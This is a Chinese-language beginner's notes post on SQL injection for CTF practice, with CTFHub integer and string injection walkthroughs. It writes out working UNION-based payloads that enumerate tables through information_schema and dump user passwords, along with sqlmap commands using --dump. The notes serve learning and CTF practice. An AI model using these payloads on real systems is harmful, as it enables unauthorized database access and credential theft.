概述
目录
前言:
一般流程
查看是否有sql注入
判断类型
手工注入
sqlmap注入
整形注入例题
手工注入
sqlmap注入
字符注入例题
前言:
这些天主要是学了些mysql的基础sql语句,然后就想着能开始刷sql注入的题目,但我还是太天真了,wp都看不懂,视频讲解也一脸懵,入门没有那么容易,现在也在努力入门。
sql语句要熟练,然后很多的操作不是系统学能了解的,需要不断搜索为什么要这样
比如 为什么要加个单引号' ,闭合单引号是什么意思
这些天我看了很多很多文章视频,确实是太菜了看不懂,大佬们经常不解释原因毕竟太简单了而我却啥也不懂。走了不少弯路吧。
终于发现几篇神仙文章,适合小白看的文章,分享一下
sql注入基础原理(超详细) - 简书 (jianshu.com)
CTF系列之Web——SQL注入_洛柒尘的博客-CSDN博客_留言板sql注入
CTF系列之Web——联合查询注入_洛柒尘的博客-CSDN博客
看完确实有种醍醐灌顶的感觉,不过要实操还是下手困难,所以要多实操来更好理解,熟练掌握基础。
所以自己写个笔记随时补充知识点,
一般流程
也是引自以上文章,方便查询
查看是否有sql注入
最为经典的单引号判断法:
在参数后面加上单引号,比如:
http://xxx/abc.php?id=1'
如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
判断类型
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:
select * from <表名> where id = x
这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
-------------------------------------------------------------------------------------
当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:
select * from <表名> where id = 'x'
这种类型我们同样可以使用 and '1'='1 和 and '1'='2来判断:
Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。
手工注入
1.判断是否存在注入,注入是字符型还是数字型
抓包更改参数id为
1′ or 1=1 #
2.猜解SQL查询语
句中的字段数
1 order by 2 #
1 order by 3 #
3.确定显示的字段顺序
1 union select 1,2 #
4.获取当前数据库
1 union select 1,database() #
5.获取数据库中的表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
6.获取表中的字段名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
7.下载数据
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
sqlmap注入
(先记录这么多,遇到了补充)
-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
--dbs 列出所有的数据库
--current-db 列出当前数据库
--tables 列出当前的表
--columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--dump 获取字段中的数据
整形注入例题
题目是CTFHub中的sql注入
手工注入
1.查询 字段数 试2的时候有回显
1 order by 2
2.使用union联合查询检测信息回显位置
-1 union select 1,database()
3.获取当前数据库名
-1 union select 1,database()
4.查询数据库sqli中所有的表名
-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'sqli'
5. 查询表flag中所有的字段名
-1 union select 1, group_concat(column_name) from information_schema.columns where
table_schema='sqli' and table_name='flag'
6.获取指定数据库的表的列的内容
-1 union select 1,group_concat(flag) from sqli.flag
sqlmap注入
1.sqlmap爆当前数据库信息
python sqlmap.py -u "url/?id=1" --current-db
2.列出指定数据库sqli所有的表名
python sqlmap.py -u "url/?id=1" -D sqli --tables
3.sqlmap 列出指定表名的所有列名
python sqlmap.py -u "url/?d=1" -D sqli -T falg --columns
4.sqlmap 打印输出表名指定列名字段的值数据
python sqlmap.py -u "url/?d=1" -D sqli -T flag -C flag --dump
字符注入例题
因为是字符注入,所以需要闭合单引号 ,其余的与上一题一样
1,使用order by n 语句查询字段数
1' order by 2 #
2,使用union联合查询检测信息回显位置
-1' union select 1,2 #
3,获取当前数据库名
-1' union select 1,database() #
4.查询数据库sqli表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #
5.获取flag列所有字段名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' #
6,获取sqli库下 flag 表里 flag 字段 里的falg内容
-1' union select 1,group_concat(falg) from sqli.flag #
sqlmap注入 与上一题一模一样
最后
以上就是积极彩虹为你收集整理的sql注入 初体验前言:一般流程整形注入例题字符注入例题的全部内容,希望文章能够帮你解决sql注入 初体验前言:一般流程整形注入例题字符注入例题所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复